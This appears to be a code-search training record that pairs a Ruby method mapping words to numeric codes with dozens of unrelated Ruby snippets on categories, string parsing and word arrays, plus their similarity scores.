"def set_category\n match_data = /^What is [-]?\\d+\\s*(?<operation>[\\+\\-\\*\\/])\\s*[-]?\\d+\\?$/.match(self.query) || {}\n self.category = CATEGORIES[match_data[:operation]]\n end",
"def category\n @category ||= ''\n end",
"def category_conditions\n [\"words.category LIKE ?\", \"%#{category}\"]\n end",
"def is_category?( category = '' )\n return false unless @is_category\n\n return true if category.blank?\n\n cat_obj = get_queried_object\n\n category = [category] unless category.is_a?(Array)\n category.map!(&:to_s)\n\n if category.include?(cat_obj.term_id.to_s)\n return true\n elsif category.include?(cat_obj.name)\n return true\n elsif category.include?(cat_obj.slug)\n return true\n end\n false\n end",
"def categories_as_strings= (new_categories)\n categories.clear\n\n new_categories.split(/\\s*, \\s*/).each do |title|\n cat =Category.where('LOWER(title) = ?', title.downcase).first\n categories << cat if !cat.nil?\n end\n end",
"def refine_food(food) \n case food[\"type\"]\n when /coffee/i\n food[\"category\"] = \"coffee\"\n when /bar/i\n food[\"category\"] = \"bar\"\n when /thai/i\n food[\"category\"] << \"thai\"\n food[\"type\"] = \"thai restaurant\"\n when /indian|curry/i\n food[\"category\"] << \"indpak\"\n when /french|france/i\n food[\"category\"] << \"french\"\n food[\"type\"] =\"french restaurant\"\n when /ital(ian|y)/i\n food[\"category\"] << \"italian\"\n food[\"type\"] = \"italian restaurant\"\n when /fish|seafood/i\n if (food[\"type\"] =~ /chips/i)\n then food[\"category\"] << \"fishnchips\"\n else\n food[\"category\"] << \"seafood\"\n food[\"type\"] = \"fish restaurant\"\n end\n end\n return food\n end",
"def category\n string = Array(@data['categories'])[0]\n return '' if string.to_s.empty?\n\n string.split('/').map { |c|\n Silly::StringFormat.clean_slug_and_escape(c)\n }.join('/')\n end",
"def categories_as_string= (new_categories)\n categories.clear\n\n new_categories.split(/\\s*,\\s*/).each do |title|\n cat = Category.where('LOWER(title) = ?', title.downcase).first\n categories << cat if cat\n end\n end",
"def categories_as_string= (new_categories)\n categories.clear\n new_categories.split(/\\s*,\\s*/).each do |title|\n cat = Category.where('LOWER(title) = ?', title.downcase).first\n categories << cat if !cat.nil?\n\n end\n end",
"def type_category_string\n result = \"Manifestation\"\n result = \"Score\" if is_a_score?\n result = \"Recording\" if is_a_recording?\n result = \"Media on Demand\" if is_a_sounzmedia?\n result\n end",
"def category mt=nil\n return source.category.to_sym unless source.category.blank? \n mt ||= meta_data \n if mt.keys.include?(:season) || mt.keys.include?(:episode)\n return :tv_show\n elsif mt.keys.include?(:edition) || mt.keys.include?(:quality) || mt.keys.include?(:year)\n return :movie\n else\n return :unknown\n end \n end",
"def categories_as_string= (new_categories)\n categories.clear\n new_categories.split(/\\s*,\\s*/).each do |title|\n cat = Category.where('LOWER(title) = ?', title.downcase).first\n categories << cat if !cat.nil?\n end\n end",
"def is_category?(s)\n if s[1].include?(XT_CONFIG::CATEGORY_STR)\n s[1] = s[1].delete(XT_CONFIG::CATEGORY_STR).strip\n @dir = [@dir[0]]\n add_category(@dir[0], s[1])\n elsif s[1].include?(XT_CONFIG::SUBCATEGORY_STR)\n eval_depth(s[1])\n s[1] = s[1].delete(XT_CONFIG::SUBCATEGORY_STR).strip\n add_category(@dir.join(\"/\"), s[1])\n else\n return false\n end\n Dir.mkdir(@dir.join(\"/\"))\n if s[2] != \"\"\n s[1] = \" \" * ((@dir.length - 2) * 3) + s[1]\n write_script(s)\n end\n return true\n end",
"def category\n catName = params[:title]\n @meals = Meal.where(\"category like ?\", catName)\n end",
"def category_matches? cat_name\n return cat_name.include?(category) || category == cat_name\n end",
"def category_in_icon_name\n case category\n when 0\n \"icon_clean\"\n when 1\n \"icon_nanny\"\n when 2\n \"icon_time\"\n when 3\n \"icon_fix\"\n else\n \"icon_clean\"\n end\n end",
"def add_category(storyDict, category)\n\tif not storyDict[category] #----> 2\n\t\tstoryDict[category] = []\n\t\tresult = \"New Category\"\n\telse\n\t\tresult = \"Existing Category\"\n\tend\n\n\t# Returns if the category was new or not\n\treturn result\nend",
"def category= arg\n cat_arr = arg.to_s.split(':')[0..@depth-1] || []\n @category = cat_arr.join(':').to_s\n end",
"def add_category params\n cat = validate_and_store :category, params\n cat ? category_key(cat) : nil\n end",
"def category_name\n parse_cookbook_json do |parsing_errors, json|\n if parsing_errors.any?\n \"\"\n else\n json.fetch(\"category\", \"\").to_s\n end\n end\n end",
"def handle_categories(category_names)\n return if !self.undergrad? || category_names.nil?\n self.categories = [] # eliminates any previous interests so as to avoid duplicates\n category_array = []\n category_array = category_names.split(',').uniq if category_names\n category_array.each do |cat|\n self.categories << Category.find_or_create_by(name: cat.downcase.strip)\n end\n end",
"def local_category\n CATEGORY_KEYS[product_category] || ['n/a']\n end",
"def categorize\n if params.has_key?(:category)\n @category = Category.find_by_name(params[:category])\n @product = Product.where(category: @category)\n else\n @product = Product.all\n end\nend",
"def random_category_action\n category = (QuickSearch::Engine::APP_CONFIG['searchers'] + ['spelling-suggestion', 'result-types', 'doi-trap', 'more-options']).sample.dasherize\n # Default action is a click\n action = 'click'\n\n # Typically, serves only happen for these categories\n if category == 'best-bets' || category == 'spelling-suggestion'\n action = ['click', 'serve'].sample\n end\n\n return category, action\nend",
"def isKeyword?\n self.category =~ /(keyword)/i\n end",
"def perform(string_to_search, category_id, item_id)\n Item.check_desc_for_associations!(string_to_search, category_id, item_id)\n end",
"def getAutocompleteCategory( str, language)\n params = Hash.new\n params['str'] = str\n params['language'] = language\n return doCurl(\"get\",\"/autocomplete/category\",params)\n end",
"def meals_by_category(category)\n # API EXAMPLE: https://www.themealdb.com/api/json/v1/1/filter.php?c=Seafood\n content = api_call(\"filter.php?c=#{category}\")\n validate(content)\n content\n end",
"def find_category(specified_category)\n if specified_category.is_a?(String) || specified_category.is_a?(Symbol)\n Category.find_by_name(specified_category)\n else\n Category.find_by_id(category_id)\n end\n end",
"def getCardCategoryEnum(str)\n Card.categories.each do |category|\n if category[0] == str.downcase\n return category[1]\n end\n end\n raise ArgumentError.new('Invalid card type')\nend",
"def tags_from_string(input_string)\n tags = {}\n input_string.split(' ').each do |pair|\n pair = pair.gsub('-', ' ')\n category, name = pair.split(':')\n tags[category] = name\n end\n tags\n end",
"def category_selection(category)\n category = Public_apis.find_by_name(category)\n #goes over list item array . find method to find item\n\n \n end",
"def category_for_key(key, description)\n # Keys may contain '/' e.g. 'openshift.io/build.name'.\n name = 'kubernetes:' + Classification.sanitize_name(key.tr(\"/\", \":\"))\n category = Classification.find_by_name(name)\n if category\n category.description = description\n category.save!\n category\n else\n Classification.create_category!(name: name, description: description,\n read_only: true, single_value: true)\n end\nend",
"def getLookupCategory( string, language)\n params = Hash.new\n params['string'] = string\n params['language'] = language\n return doCurl(\"get\",\"/lookup/category\",params)\n end",
"def cleanCategoryTitle string\n string.strip.upcase\n end",
"def set_category\n end",
"def change_category(specified_category)\n category = find_category(specified_category)\n if category\n if clocked_in?\n out(:silent => true)\n sleep(1)\n end\n @category = category\n self.in(:description => \"Category changed to #{category.name}\", :silent => true)\n notify \"Category changed to #{@category.name}\"\n else\n # Give them the option to create the category if it doesn't exist\n if specified_category.is_a? String\n print \"\\nCould not find category '#{specified_category}', would you like to create it? [y/n]: \"\n create_category = STDIN.gets.chomp!\n\n if create_category.upcase == 'Y'\n add_category(specified_category)\n change_category(specified_category)\n end\n else\n notify \"Could not find category: #{specified_category}\"\n end\n end\n end",
"def add_category(category)\n category = CategoryNamer.prepare_name(category)\n @backend.add_category(category)\n end",
"def _category\n @_category ||= if category\n category\n elsif special_category\n special_category\n else\n nil\n end\n end",
"def add_category(*category)\n unless category.blank?\n what.query.add(:categories) << category.flatten\n changed\n end\n end",
"def sanitized_category\n return category.underscore.gsub(/ /, '_').gsub(/[^a-z_0-9]/,'')\n end",
"def categories_validate(categories)\r\n categories = categories.split(',')\r\n user_message = \"\"\r\n cats_seen = []\r\n categories.each do |cat|\r\n cat.strip!\r\n next if cats_seen.include?(cat)\r\n cats_seen << cat\r\n user_message << \" Category '#{cat}' was too long.\" if cat.length > 25\r\n good_chars = [*'0'..'9', *'a'..'z', *'A'..'Z', '/', '-', '(', ')', '&',\r\n '#', '@', '+', '.', '?', '!'].join ' '\r\n word_chars = [*'0'..'9', *'a'..'z', *'A'..'Z'].join\r\n unless cat.split(//).all? {|char| good_chars.include?(char) }\r\n user_message << \" Category '#{cat}' had weird characters.\"\r\n end\r\n unless cat.split(//).any? {|char| word_chars.include?(char)}\r\n user_message << \" Category '#{cat}' lacks a letter or digit.\"\r\n end\r\n end\r\n return user_message unless user_message == \"\"\r\n return true\r\n end",
"def tag_category_string(category, options={})\n return \"\" unless self.respond_to?(category)\n if !self.placeholder_tags.blank?\n tag_array = self.placeholder_tags[category] || []\n else\n tag_array = self.send(category)\n end\n tag_names = tag_array.map {|tag| tag.name}\n if options[:return_array]\n tag_names\n else\n tag_names.join(ArchiveConfig.DELIMITER_FOR_OUTPUT)\n end\n end",
"def get_category_notice\n notice = \"\"\n if self.category == \"1\"\n notice = \"CATEGORY 1\"\n elsif self.category == \"2\"\n notice = \"CATEGORY 2\"\n elsif self.category == \"3\"\n notice = \"CATEGORY 3\"\n elsif self.category == \"4\"\n notice = \"CATEGORY 4\"\n elsif self.category == \"5\"\n notice = \"CATEGORY 5\"\n end\n\n return notice\n end",
"def random_item(category)\n if category == 'best-bets'\n # Sample a random Best Bet type from a static list\n ['webofscience', 'googlescholar', 'ieee', 'pubmed', 'morningstar', 'wgsn', 'standards', 'dissertation', 'refworks', 'ibis', 'proquest',\n 'psychinfo', 'sciencemagazine', 'sciencedirect', 'petition', 'compendex', 'jstor', 'software', 'naturejournal'].sample\n elsif category == 'doi-trap'\n # Sample a random DOI from a static list\n ['10.1080/10510974.2013.797483', '10.1111/j.1468-2958.1996.tb00379.x', 'http://dx.doi.org/10.1063/1.2741534', 'DOI: 10.1007/BF02887151',\n '10.1039/C4RA16247A', '10.1002/sce.3730670213', 'DOI: 10.1007/s40596-014-0241-5', '10.1080/15348423.2012.697437',\n 'http://dx.doi.org/10.3168/jds.S0022-0302(86)80552-5', 'DOI: 10.1023/A:1005204727421', '10.1039/C3TA00019B', 'doi:10.1038/leu.2016.163',\n 'DOI: 10.1007/s10853-013-7374-x', 'doi: 10.1016/0167-2738(91)90233-2', 'doi: 10.1179/000705992798268927', '10.1038/nphys3794',\n 'doi: 10.1149/1.1393288', '10.1080/1554480X.2014.926052', '10.1002/adma.201506234', '10.1080/00958972.2016.1176158'].sample\n elsif category == 'result-types'\n # Use a defined searcher for found types\n (QuickSearch::Engine::APP_CONFIG['searchers']).sample.dasherize\n elsif category == 'more-options'\n # Use a result number for more-options\n ['result-1', 'result-2', 'result-3', 'result-4'].sample\n elsif category == 'spelling-suggestion'\n # Use a fake string\n 'spelling suggestion ' + (rand*200).to_i.to_s\n else\n # Use one of the typical options for a searcher click (or anything else we haven't handled above)\n ['heading', 'result-1', 'result-2', 'result-3', 'see-all-results', 'no-results', 'error'].sample\n end \nend",
"def get_category_type\n category_type ? category_type.short_name : '?'\n end",
"def set_category\n @category = Category.friendly.find(params[:id])\n end",
"def set_category\n @category = Category.friendly.find(params[:id])\n end",
"def set_item_category\n @item_category = current_company.item_categories.friendly.find(params[:id]) || []\n end",
"def category_candidates(category)\n return @category_cache[category] unless @category_cache[category].nil?\n # from whole name singularized\n candidates = []\n decorated_category = Cyclopedio::Syntax::NameDecorator.new(category, parse_tree_factory: @parse_tree_factory)\n @nouns.singularize_name(category.name, decorated_category.category_head).each do |name_singularized|\n candidates.concat(candidates_for_name(name_singularized,@category_filters))\n end\n candidate_set = create_candidate_set(category.name,candidates)\n return @category_cache[category] = candidate_set if !candidate_set.empty? || @category_exact_match\n # from simplified name\n candidate_set = candidate_set_for_syntax_trees(decorated_category.category_head_trees,@category_filters)\n return @category_cache[category] = candidate_set unless candidate_set.empty?\n # from original whole name\n candidate_set = candidate_set_for_name(category.name, @category_filters)\n @category_cache[category] = candidate_set\n end",
"def select_category3(category_option)\n category_locator = Locator.new(NewRequestWhatLocators::CATEGORY).replace_value('<category>', category_option)\n sp_helper.select_radio_btn(category_locator)\n end",
"def set_category\n @category = Category.friendly.find(params[:id])\n end",
"def set_category\n @category = Category.friendly.find(params[:id])\n end",
"def set_category\n @category = Category.friendly.find(params[:id])\n end",
"def set_category\n @category = Category.friendly.find(params[:id])\n end",
"def set_category\n @category = Category.friendly.find(params[:id])\n end",
"def set_category\n @category = Category.friendly.find(params[:id])\n end",
"def set_category\n @category = Category.friendly.find(params[:id])\n end",
"def train(category, text)\n category = category.downcase\n @redis.sadd(CATEGORIES_KEY, category)\n\n count_occurance(text).each do |word, count|\n @redis.hincrby(redis_category_key(category), word, count)\n end\n end",
"def food(food)\n case food\n when \"burger\"\n \"bad food\"\n when \"apple\"\n \"good\"\n else\n \"nice\"\n end\nend",
"def favorite_food?(string)\n @favorite_foods.map(&:downcase).include?(string.downcase)\n end",
"def food_types(category_name)\n case category_name\n when \"Fruit\"\n Faker::Food.fruit\n when \"Spice\"\n Faker::Food.herb_or_spice\n when \"Ingredient\"\n Faker::Food.ingredient\n when \"Meat\"\n Faker::Food.meat\n when \"Vegetable\"\n Faker::Food.vegetable\n else\n Faker::Product.product\n end\nend",
"def navigate(category)\n if @library == []\n @library = category.all\n else\n filter = category.to_s.downcase\n @library = @library.send(filter)\n end\n end",
"def select_fittest(category, options = {})\n category = case category\n when Category\n category\n when String\n categories.first(:conditions => ['upper(categories.name) = upper(?)', category])\n end\n uhook_select_fittest category, options unless category.nil?\n end",
"def category_name\n I18n.t(\"feste.categories.#{category}\", default: category.titleize)\n end",
"def display_category(category_class)\n category_class.gsub(/ +/, ', ')\n end",
"def compare_catetegory category_name\n condition=\"%#{category_name}%\"\n category=Category.where(\"name like ? \",condition).first\n if category.nil?\n category=Category.create name:category_name\n end\n return category\n end",
"def fix_category(store_path)\n self.category = store_path.split('/')[0...-2].join('/')\n end",
"def add_categories(collection)\n\tcategory = \"\"\n\tcollection[\"results\"][\"collection1\"].each do |article|\n\t\tif article[\"category\"] == \"\"\n article[\"category\"] = category\n else\n category = article[\"category\"]\n end\n\tend\nend",
"def primary_category\n self.category.split(\"/\").first\n end",
"def link_category\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 16 )\n value = nil\n category_name25 = nil\n\n begin\n # at line 110:35: ';' ( WS )? 'category' '=' '\\\"' category_name '\\\"'\n match(T__11, TOKENS_FOLLOWING_T__11_IN_link_category_669)\n # at line 110:39: ( WS )?\n alt_25 = 2\n look_25_0 = @input.peek(1)\n\n if (look_25_0 == WS)\n alt_25 = 1\n end\n case alt_25\n when 1\n # at line 110:39: WS\n match(WS, TOKENS_FOLLOWING_WS_IN_link_category_671)\n\n end\n match(T__25, TOKENS_FOLLOWING_T__25_IN_link_category_674)\n match(T__13, TOKENS_FOLLOWING_T__13_IN_link_category_676)\n match(T__14, TOKENS_FOLLOWING_T__14_IN_link_category_678)\n @state.following.push(TOKENS_FOLLOWING_category_name_IN_link_category_680)\n category_name25 = category_name\n @state.following.pop\n match(T__14, TOKENS_FOLLOWING_T__14_IN_link_category_682)\n # --> action\n value = (category_name25 && @input.to_s(category_name25.start, category_name25.stop))\n # <-- action\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 16 )\n\n end\n\n return value\n end",
"def set_category\n @categories = Category.friendly.find(params[:id])\n end",
"def get_category_type_name\n category_type ? category_type.short_name : '?'\n end",
"def get_category(cookbook_name)\n # Use Artifactory deployment logic only if flag sent by Artifactory plugin\n unless config[:artifactory_deploy]\n Chef::Log.debug('[KNIFE-ART] ArtifactoryShare::get_category called without artifactory flag, delegating to super')\n return orig_get_category(cookbook_name)\n end\n begin\n data = noauth_rest.get(\"#{config[:supermarket_site]}/api/v1/cookbooks/#{@name_args[0]}\")\n if data.nil?\n return data[\"category\"]\n else\n return 'Other'\n end\n rescue => e\n return \"Other\" if e.kind_of?(Net::HTTPServerException) && e.response.code == \"404\"\n ui.fatal(\"Unable to reach Supermarket: #{e.message}. Increase log verbosity (-VV) for more information.\")\n Chef::Log.debug(\"\\n#{e.backtrace.join(\"\\n\")}\")\n exit(1)\n end\n\n end",
"def add_category(category_id)\n if !category_id.nil? && !(category = Category.find(category_id)).nil?\n categories << category unless categories.include?(category)\n end\n end",
"def parse_classification(str = nil)\n self.class.parse_classification(str || classification)\n end",
"def category_names=(list)\n list = list.is_a?(Array) ? list : list.split(',').reject(&:blank?).collect { |item| item.try(:strip) }\n delete_unused_categories(list)\n add_new_categories(list)\n end",
"def remove_category(*category)\n unless category.blank?\n what.query[:categories] && what.query[:categories] >> category.flatten \n changed\n end\n end",
"def category_with_name(name)\n categorized_items = categories_items\n categorized_items.detect{ |sub_item_array| sub_item_array[0].name == name }\n end",
"def add_category(category)\n raise ArgumentError unless category.class <= Categories::Base\n @categories << category\n end",
"def _build_category_list\n raw_categories = CatAPI.get_categories\n category_list = raw_categories.map {|category| category['name']}.sort\n # the \"kittens\" category is empty, and never returns photos\n category_list.delete(\"kittens\")\n return category_list.unshift(\"your favorites\")\nend",
"def get_category\n category = params[:subcategory] || params[:category]\n @category = Category.find_by_slug!(category)\n end",
"def isTwitter?\n self.category =~ /(tweet|twitter|suggested)/i\n end",
"def build_tags(tags, category)\n \t\ttags = tags.split(',').map{ |tag| tag.strip } << category\n \t\ttags.flatten\n \tend",
"def abbr_categories(str)\n raise NotImplementedError\n end",
"def test_cant_add_invalid_categories_string\n @work_opinion.set_categories_by_string(\"\")\n assert !@work_opinion.save\n @work_opinion.set_categories_by_string(@bad_category_string)\n assert !@work_opinion.save\n end",
"def about_knowhow?\n category == \"knowhow\"\n end",
"def add_word(new_word, categories)\r\n categories.each do |category|\r\n fandom = fetch_fandom(category)\r\n fandom << new_word unless fandom.include? new_word\r\n end\r\n end",
"def add_category(category)\n @categories ||=[]\n @categories << category unless @categories.index(category)\n end",
"def category=(value)\n @category = value\n end",
"def category=(value)\n @category = value\n end",
"def category=(value)\n @category = value\n end",
"def category=(value)\n @category = value\n end"
] |
[
"0.6675052",
"0.6554733",
"0.62667215",
"0.62634283",
"0.6251667",
"0.61898476",
"0.6129197",
"0.6111593",
"0.6038447",
"0.6016033",
"0.6002402",
"0.5994601",
"0.597574",
"0.59210014",
"0.59175265",
"0.5908912",
"0.5866291",
"0.5859368",
"0.5840229",
"0.58114874",
"0.5790943",
"0.57858545",
"0.57726866",
"0.5729458",
"0.5726634",
"0.5706789",
"0.5701658",
"0.56967455",
"0.5688852",
"0.56835693",
"0.56787527",
"0.56767285",
"0.5664062",
"0.56283665",
"0.5623434",
"0.5606473",
"0.56020594",
"0.5582467",
"0.5575421",
"0.55598307",
"0.55579126",
"0.55465776",
"0.55440706",
"0.5542825",
"0.55415756",
"0.55397725",
"0.5539466",
"0.5532735",
"0.552798",
"0.55219346",
"0.55157954",
"0.55071235",
"0.54976135",
"0.54972154",
"0.54972154",
"0.54816204",
"0.5473031",
"0.5451457",
"0.54492885",
"0.54492885",
"0.54492885",
"0.54492885",
"0.54492885",
"0.54492885",
"0.54492885",
"0.54249996",
"0.54228073",
"0.5420545",
"0.54120916",
"0.54037184",
"0.5400434",
"0.53968835",
"0.5393617",
"0.5370628",
"0.5369206",
"0.53651625",
"0.5334997",
"0.53288114",
"0.53277415",
"0.5324695",
"0.5322892",
"0.5319705",
"0.52955234",
"0.52942836",
"0.529223",
"0.5292025",
"0.52915955",
"0.5285212",
"0.527921",
"0.52564603",
"0.5256162",
"0.52556896",
"0.52532154",
"0.5252962",
"0.52474886",
"0.52450705",
"0.52318484",
"0.52318484",
"0.52318484",
"0.52318484"
] |
0.6764951
|
0
|
returns an array of numbers each word corresponds to a code.
|
def generate_code(str)
word_arr = str.split(" ")
word_arr_simple = str.downcase.split(" ").each {|x| x.gsub!(/\W+/, '')}
word_hash = {}
counter = 1
word_arr_simple.each do |word|
if word_hash[word] != nil
else
word_hash[word] = counter
counter += 1
end
end
$new_array = []
word_arr_simple.each_with_index do |word, index|
$new_array << [word_arr[index], word_hash[word]]
end
# $new_array = word_arr_simple.map{|x| [x, word_hash[x]]}
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def split_code(codes)\n arr = []\n num = codes.scan(/\\d/).join('')\n str = codes.scan(/[a-zA-Z]+/)\n arr << str\n arr << num.to_i\n arr.flatten\nend",
"def extract_code\n @original.chars.map do |c|\n @code.push c.to_i if c[/\\d+/]\n end\n end",
"def codes\n array = []\n self.each_byte do |x|\n array.push(Bio::AminoAcid.names[x.chr])\n end\n return array\n end",
"def make_integer_array(number_in_words)\n number_in_words = eliminate_and(number_in_words.strip.squeeze(' ')).split(' ')\n numbers_array = []\n number_in_words.each do |number|\n numbers_array << if power_of_ten? number\n 10**POWER_OF_TEN[number]\n else\n EXCEPTIONS[number]\n end\n end\n numbers_array\n end",
"def find_counts(code)\n find_by_code(code).map { |row| row[1] }.sort.reverse\n end",
"def codes\n @codes ||= []\n end",
"def letters_to_numbers(text_array, alphabet_hash)\n\ti = 0\n\tnew_name = 0\n\tnew_array =[]\n\t\n\ttext_array.each do |name|\n\t\tname.each_char do |char|\n\t\t\tnew_name += alphabet_hash[char]\n\t\t\tputs \"#{char} equals #{alphabet_hash[char]}\"\n\t\tend\n\t\tputs \"#{name} in numbers equals #{new_name}\"\n\t\tnew_array << new_name\n\t\tnew_name = 0\n\tend\n\tnew_array\nend",
"def decode_code(text)\n #strip the x in the biginning!\n text = text[1..-1]\n id, ench = text.split ':'\n return [TSMAccounting.decode(id), \"\"]\n end",
"def convert_to_character_code(word)\n code_array = []\n word.each_char do |character|\n character_code = character.ord\n code_array.push(character_code)\n end\n average_code = code_array.inject(0.0) { |sum, el| sum + el } / code_array.size\n average_code = average_code.ceil\nend",
"def number_array\n @input_string.split(' ')\n end",
"def array_from_functions(*args)\n counts = Array.new(26).fill(0)\n for arg in args\n if arg.is_a?(Array)\n arg.each do |o| @add_word[o].call(counts); end\n else\n p arg\n @add_word[arg].call(counts);\n end\n end\n counts\n end",
"def char_sequences(code)\n code.scan(/((.)\\2*)/)\n end",
"def convert_code\n @code.map{ |num| translate_num_to_color(num) }\n end",
"def count_code(string)\n count = 0\n empty = []\n (string.size - 3).times do |i|\n slice = string[i..(i + 3)]\n if slice == \"code\" \n count += 1\n end\n end\n return count \nend",
"def array_from_rows(str)\n str.split(\"\\n\").map { |x| x.split(' ').map { |y| y.to_i } }\n end",
"def solve(array)\n aplhabet = ('a'..'z').to_a\n array.map do |string|\n count = 0\n string.chars.each_with_index do |char, idx|\n count += 1 if char.downcase == aplhabet[idx]\n end\n count\n end\nend",
"def solve(array)\n alphabet = ('a'..'z').to_a.join\n results = []\n \n array.each do |string|\n count = 0\n string.downcase!\n string.chars.each_with_index do |char, index|\n count += 1 if string[index] == alphabet[index]\n end\n results << count\n end\n results \nend",
"def numbers_for(set)\n set.text.split(' ').map(&:to_i)\nend",
"def string_to_array\r\n @input.chars.map {|e| e.to_i}\r\n end",
"def list_all_answers\n # [black, white]\n answers = []\n (@code_length + 1).times do |b|\n (@code_length + 1).times do |w|\n answers << [b, w] if (b + w <= @code_length && !(w == 1 && b == (@code_length - 1)))\n end\n end\n answers\n end",
"def check_code(player_code, secret_code)\n match_array = []\n if player_code == secret_code\n match_array = [4,4]\n else\n match_array = [0,{}]\n player_code.each_with_index do |code, index|\n if secret_code[index] == code\n match_array[0] += 1\n end\n if secret_code.include?(code)\n case secret_code.count(code) <=> player_code.count(code)\n when 1\n match_array[1][code] = player_code.count(code)\n else\n match_array[1][code] = secret_code.count(code)\n end \n end\n end\n color_match = 0\n match_array[1].each { |key, val| color_match += val }\n match_array[1] = color_match\n end\n match_array\n end",
"def n4\n ret = []\n $base_words.each { |base_word|\n (0..9).each { |n|\n ret << \"#{n}#{base_word}\"\n }\n }\n return ret\n end",
"def init_word_array(plaintext_file)\n ary = File.read(plaintext_file).split(\" \").map do |word|\n word.downcase.gsub(/[^a-z]/, '')\n end\n return ary\n end",
"def mapping(stringToSplit)\n arrSplit = stringToSplit.scan /\\w/\n return arrSplit.map { |n| n.ord }\nend",
"def numbers\n gsub(/[^\\n]/, '').split#.map {|x| x.to_i} #found gsub in Ruby documentation, for handling new lines between numbers. map in array doc\nend",
"def possible_codes\n\t (0..5).each do |first|\n\t\t(0..5).each do |second|\n\t\t (0..5).each do |third|\n\t\t\t(0..5).each do |fourth|\n\t\t\t @set_of_codes << [COLORS[first],COLORS[second],COLORS[third],COLORS[fourth]]\n\t\t\tend\n\t\t end\n\t\tend\n\t end\n\tend",
"def board_to_array(board_string)\n return board_string.split(\"\").map! { |value| value.to_i }\n\nend",
"def lengths array\n\tarray.map{|word| word.length}\nend",
"def word_count(arr)\n count = Hash.new(0)\n arr.each { |i| count[i] += 1 }\n \n return count\nend",
"def resume_to_array(text)\n result = text\n result.gsub!(\",\",\"\")\n result.gsub!(\"(\",\"\")\n result.gsub!(\")\",\"\")\n result.gsub!(\"[\",\"\")\n result.gsub!(\"]\",\"\")\n result.downcase!\n return result.split\nend",
"def create_codeword_matches(words)\n set = Set.new\n\t\twords.each do |word|\n\t\t\tset.add(word) if word.length == @codeword.length \n\t\tend\n set\n\tend",
"def YearCodes(year)\n\tif year =~ /freshman/\n\t\treturn 1\n\telsif year =~ /sophomore/\n\t\treturn 2\n\telsif year =~ /junior/\n\t\treturn 3\n\telsif year =~ /senior/\n\t\treturn 4\n\telse\n\t\treturn 0\n\tend\nend",
"def code\r\n return @code[@index]\r\n end",
"def input_as_array\n array = number.split('')\n\n return array.collect! { |x| x.to_i }\n end",
"def to_digit_array\n self.to_s.each_char.map(&:to_i)\n end",
"def number_of_programming_languages(text_array)\n resume_as_array = resume_to_array(text_array)\n result = 0\n @programming_languages.each do |p|\n if resume_as_array.include?(p)\n result += 1\n end\n end\n return result\nend",
"def codes_from_message(message_array)\n message_array.collect { |st| st.split(':')[1] if st.include?(':') }.compact\n end",
"def huffman_codes(text)\n w = Hash.new(0)\n text.each_char { |c| w[c] += 1 }\n tree = w.each_pair.map { |letter, weight| [weight, letter] }\n tree = get_tree(tree)\n print_code(tree)\nend",
"def words_to_nums\n\tputs \"ERROR: Please give a valid filename as an argument.\" if ARGV[0] == nil\n\tFile.readlines(ARGV[0]).each do |line|\n\t\tline.gsub!(\"\\n\", \"\") if line.include? \"\\n\"\n\t\tputs word_converter(line.split(\";\")) unless line.split[0] == nil\n\tend\nend",
"def make_word_array\n @word_array = @word.chars.to_a\n end",
"def code_lines(arr)\n output = 0\n begin\n i = 0\n while i < arr.length\n j = 0\n temp_holder = arr[i]\n while j < temp_holder.length\n if temp_holder[j] == \"\\n\" || temp_holder[j] == \"#\"\n break\n elsif temp_holder[j] == \" \"\n z = j\n check = false\n while z < temp_holder.length\n if temp_holder[z] != \" \" || temp_holder[z] != \"\\n\"\n check = true\n break\n end\n z += 1\n end\n if check == true\n output += 1\n break\n elsif check == false\n break\n else\n return \"error\"\n end\n else\n output += 1\n break\n end\n j += 1\n end\n i += 1\n end\n rescue NameError\n p \"No variable with this name\"\n rescue TypeError\n p \"String was not converted into integer\"\n rescue IndexError\n p \"Index was not inside the paramaters\"\n ensure\n return output\n end\nend",
"def make_array\n @phrase_string.downcase.split(WORD_SPLIT).reject(&:empty?)\n end",
"def parseInput(theText)\n\n\treturn theText.chars.map(&:to_i);\n\nend",
"def count_occurrences(arr)\n dc_arr = arr.map { |i| i.downcase }\n dc_arr.each do |i|\n i = ??\n end\nend",
"def pos_breakdown(word)\n pos_code(word).chars.to_a.map {|c| pos_code_map[c] }\n end",
"def codes; end",
"def score_string(guess)\n results = Array.new()\n guess.split('').each_with_index do |char, index|\n if char == @code[index]\n results[index] = :h\n elsif @code.include? char\n results[index] = :n\n else\n results[index] = :m\n end\n end\n results\n end",
"def read_file_to_arr(path)\n ret = []\n File.open(path, \"r\") do |f|\n f.each_line do |line|\n ret << line.split(\" \").map { |s| s.to_i}\n end\n end\n return ret\nend",
"def arr_sum(array)\n\tnum_list = []\n\tarray.to_s.each_char do |char|\n\t\tp char\n\t\tif char.match(/[0-9]/) #== true\n\t\t\tnum_list << char\n\t\tend\n\tend\n\tsum = 0\n\tnum_list.each do |s|\n\t\tsum += s.to_i\n\tend\n\treturn num_list, sum\nend",
"def to_array\n @word.split(\" \") #or @word.chars will work too.\n end",
"def unique_morse_representations(words)\ncode = [\".-\",\"-...\",\"-.-.\",\"-..\",\".\",\"..-.\",\"--.\",\"....\",\"..\",\".---\",\"-.-\",\".-..\",\"--\",\"-.\",\"---\",\".--.\",\"--.-\",\".-.\",\"...\",\"-\",\"..-\",\"...-\",\".--\",\"-..-\",\"-.--\",\"--..\"]\n\n words.map do |word|\n word.split(\"\").map do |w|\n code[(w[0].ord)-97]\n end.join('')\n end.uniq.count\nend",
"def generate_code(number)\n Array.new(number) { CHARSET.sample }.join\n end",
"def split_to_array(number)\n number.to_s.chars.map(&:to_i)\n end",
"def count_code(str)\n\n\n\nend",
"def count_nucleotides(data)\n ['A', 'C', 'G', 'T'].map {|nucleotid| data.count(nucleotid)} * ' '\nend",
"def codes\n [@attrs['Code'], @attrs['StationTogether1'], @attrs['StationTogether2']].compact\n end",
"def to_array\n @word.chars\n end",
